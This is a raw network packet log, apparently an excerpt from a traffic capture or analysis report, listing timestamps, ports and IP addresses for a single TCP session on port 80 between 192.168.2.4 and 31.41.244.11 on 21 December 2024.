Dec 21, 2024 18:16:50.768625975 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.768934965 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.768950939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.768980980 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.768991947 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.769634008 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.769756079 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.769778013 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.769819021 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.770592928 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.770658016 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.770800114 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.770848036 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.771768093 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.771821022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.771852970 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.771945953 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.772491932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.772617102 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.772635937 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.772650003 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.773408890 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.773462057 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.773576021 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.773632050 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.774365902 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.774416924 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.774528980 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.774595976 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.775369883 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.775422096 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.775522947 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.775568962 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.776423931 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.776480913 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.776505947 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.776587963 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.777332067 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.777376890 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.777405024 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.777446985 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.778177023 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.778227091 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.778306007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.778359890 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.779583931 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.779659986 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.779685974 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.779733896 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.780014992 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.780073881 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.780139923 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.780198097 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.780993938 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.781102896 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.781133890 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.781194925 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.782007933 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.782032967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.782078028 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.782850027 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.782903910 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.782934904 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.782987118 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.783859015 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.783947945 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.784001112 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.784100056 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.784738064 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.784785986 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.785068989 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.785118103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.785667896 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.785713911 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.785731077 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.785820961 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.786679983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.786730051 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.786788940 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.786828995 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.787587881 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.787645102 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.787671089 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.787724018 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.788521051 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.788577080 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.788604975 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.788651943 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.789495945 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.789544106 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.789668083 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.789768934 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.790517092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.790556908 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.790622950 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.790735960 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.791364908 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.791414022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.791445017 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.791594028 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.792320013 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.792383909 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.792409897 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.792452097 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.793242931 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.793267965 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.793298006 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.793308973 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.794224977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.794280052 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.794306993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.794377089 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.795134068 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.795186996 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.795289993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.795334101 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.796112061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.796152115 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.796195030 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.797007084 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.797054052 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.797094107 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.797148943 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.797966957 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.798074007 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.798085928 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.798142910 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.798897982 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.798969984 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.799031019 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.799084902 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.799954891 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.799971104 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.800003052 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.800014973 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.800863028 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.800900936 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.800928116 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.800971985 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.801769018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.801816940 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.801870108 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.801913023 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.802696943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.802747965 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.802778959 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.803006887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.803659916 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.803700924 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.803723097 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.803877115 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.804568052 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.804615021 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.804666042 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.804754972 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.805510998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.805566072 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.805651903 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.805692911 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.806426048 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.806514025 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.806538105 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.806602001 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.807420969 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.807463884 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.807552099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.807600975 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.808300972 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.808347940 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.808442116 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.808537960 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.809258938 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.809324026 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.809350014 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.809395075 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.810236931 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.810306072 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.810333967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.810422897 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.811099052 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.811206102 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.826865911 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.826896906 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.826932907 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.826952934 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.827284098 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.827310085 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.827352047 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.827366114 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.827378035 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.827414036 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.828032017 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.828141928 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.828159094 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.828212023 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.829075098 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.829093933 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.829138994 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.829962015 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.830017090 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.830035925 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.830081940 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.830866098 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.830961943 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.830981016 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.831028938 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.831770897 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.831820011 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.960987091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.961013079 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.961066008 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.961086988 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.961241007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.961258888 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.961292982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.961303949 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.961903095 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.961950064 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.962001085 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.962054968 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.962860107 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.962905884 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.962938070 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.962981939 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.963800907 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.963839054 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.963860989 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.963906050 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.964658976 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.964709997 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.964837074 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.964879990 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.965805054 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.965821981 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.965850115 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.965861082 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.966779947 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.966825962 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.966856003 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.966898918 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.967839956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.967885971 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.967961073 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.968004942 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.969122887 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.969166994 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.969274044 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.969316959 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.970257998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.970303059 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.970316887 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.970360994 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.971268892 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.971334934 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.971359968 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.971402884 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.972208023 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.972259998 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.972323895 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.972366095 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.973042965 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.973088026 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.973237038 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.973280907 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.974024057 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.974071980 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.974098921 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.974142075 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.974674940 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.974719048 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.974857092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.974900961 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.975528955 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.975578070 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.975605965 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.975651026 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.976366043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.976412058 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.976686001 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.976730108 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.977189064 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.977231979 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.977293968 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.977339029 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.977891922 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.977936029 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.977962971 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.978007078 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.978939056 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.978980064 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.979084015 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.979130030 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.979851007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.979902983 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.979968071 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.980011940 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.980725050 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.980767965 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.980835915 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.980880022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.981657982 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.981729031 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.981797934 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.981842995 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.982579947 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.982625008 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.982716084 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.982762098 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.983556032 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.983607054 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.983782053 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.983824968 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.984512091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.984556913 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.984585047 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.984627962 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.985557079 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.985603094 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.985630989 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.985708952 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.986562967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.986579895 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.986604929 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.986618042 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.987327099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.987373114 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.987499952 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.987544060 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.988256931 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.988301039 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.988416910 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.988461018 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.989316940 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.989334106 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.989361048 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.989372015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.990235090 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.990251064 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.990293980 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.991055012 CET	80	49866	31.41.244.11	192.168.2.4
